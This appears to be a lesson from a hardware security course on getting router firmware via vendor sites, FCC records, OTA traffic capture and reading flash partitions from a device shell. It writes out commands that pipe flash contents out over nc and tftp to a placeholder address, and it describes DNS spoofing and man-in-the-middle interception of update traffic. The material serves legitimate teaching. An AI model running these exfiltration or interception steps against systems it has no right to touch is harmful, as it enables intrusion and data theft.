getting-firmware

theory

Lesson 2 — Getting Firmware

The Priority Order

Before touching hardware or a soldering iron, exhaust software methods. In order of effort:

  1. Vendor download (minutes)
  2. OTA capture (minutes to hours, device-dependent)
  3. UART / shell extraction (requires physical access, covered here briefly)
  4. Flash chip extraction (requires hardware, covered in the flash extraction course)

Method 1: Vendor Download

Most consumer device manufacturers publish firmware on their support pages for exactly the purpose of allowing users to reflash devices. This is the easiest vector and should always be attempted first.

FCC database: Every RF-emitting device sold in the US must have an FCC ID. This ID is printed on the device label (format: 2ABCD-MODELNAME or similar). The FCC database at fcc.io/<FCC ID> often contains internal photos, test reports, and sometimes firmware files submitted during certification.

# Example: look up a device with FCC ID 2AAXH-ARCHER
# Visit: https://fcc.io/2AAXH-ARCHER
# Navigate to "Exhibits" — look for "Software" or firmware submissions

Direct vendor download: Navigate to the support/downloads page for the exact model and hardware revision. Download the .bin or .zip file. Check the changelog — security vulnerabilities are sometimes described there, giving you a target before you even open the file.

Third-party mirrors: Sites like openwrt.org maintain firmware archives for supported devices, including older versions that may be unencrypted while current versions are not.

Key check before downloading: Verify the hardware revision on the device label. A TP-Link Archer C7 v2 and v5 have different hardware and different firmware. Wrong firmware is still useful for analysis (same codebase) but cannot be reflashed.

Method 2: OTA Capture

When a device updates itself over the network, it fetches the firmware over HTTP or HTTPS. Capturing this traffic gives you the firmware binary without vendor site interaction.

HTTP OTA (trivial):

# Put your analysis machine between the device and the internet
# Either configure the device to use your machine as gateway, or
# capture on the router port facing the device

tcpdump -i eth0 -w ota_capture.pcap 'host <device_ip>'

# Trigger the OTA update from the device's admin interface
# Wait for the transfer to complete

# Extract the firmware from the pcap
# In Wireshark: File → Export Objects → HTTP
# Or use tshark:
tshark -r ota_capture.pcap --export-objects "http,./extracted_objects"

HTTPS OTA: The device uses TLS, so traffic is encrypted. Options: - SSL stripping / MitM with a custom CA: Install your own CA cert into the device's trust store (requires shell access first — circular dependency for pure OTA capture) - SSLsplit or mitmproxy: Works only if the device does not do certificate pinning - Firmware update downgrade: Force the device to use an older HTTP-based update server by spoofing DNS responses

# DNS spoofing to redirect update server to your HTTP server
# Run a fake update server that serves the firmware and logs requests
python3 -m http.server 80
# Spoof the update hostname to your machine's IP
# Many devices will fall back to HTTP or have separate HTTP endpoints

Finding the update URL: Before capturing, check the device admin interface source code in your browser. Update check requests are often made to a predictable URL like http://update.vendor.com/check?model=X&version=Y. You can hit that URL directly with curl to get the download link.

curl -s "http://update.tp-link.com/v1/products/check" \
  -d '{"model":"Archer C7","version":"3.15.3"}' | python3 -m json.tool
# Response often contains a direct firmware download URL

Method 3: UART / Shell Extraction

If you have a shell on the device (via UART, Telnet, SSH, or a command injection vulnerability), you can read the flash directly. Embedded Linux exposes flash partitions as MTD (Memory Technology Device) devices.

# List available MTD partitions
cat /proc/mtd
# Output example:
# dev:    size   erasesize  name
# mtd0: 00020000 00010000 "u-boot"
# mtd1: 00100000 00010000 "kernel"
# mtd2: 00600000 00010000 "rootfs"
# mtd3: 00080000 00010000 "config"

# Read individual partitions
# mtd = raw NAND/NOR access (character device, read-only unless erasing)
# mtdblock = block device interface
cat /dev/mtdblock0 > /tmp/bootloader.bin
cat /dev/mtdblock2 > /tmp/rootfs.bin

# Exfiltrate via netcat (if no writable storage available)
# On your analysis machine:
nc -l -p 9999 > rootfs.bin
# On the device:
cat /dev/mtdblock2 | nc <your_ip> 9999

# Verify size matches /proc/mtd entry
ls -la /tmp/rootfs.bin

Note on /tmp size: Embedded Linux /tmp is usually a tmpfs in RAM. A 6MB rootfs partition may not fit. Use nc or tftp to exfiltrate directly instead of staging to /tmp.

# TFTP exfiltration (if tftp client is present on device)
tftp -p -l /dev/mtdblock2 -r rootfs.bin <your_ip>

Alternate: dd with offset and count:

# If you want a specific byte range from a larger partition
dd if=/dev/mtd2 of=/tmp/partial.bin bs=512 skip=128 count=1024

What You Have After Extraction

Regardless of method, you end with a binary file. Before moving to binwalk, record:

  • File size (ls -la firmware.bin or wc -c firmware.bin)
  • MD5 or SHA256 hash (sha256sum firmware.bin) — useful for comparing versions
  • Source: vendor download version number, OTA capture date, or MTD partition name

This metadata matters when you later find a vulnerability and need to confirm which firmware versions are affected.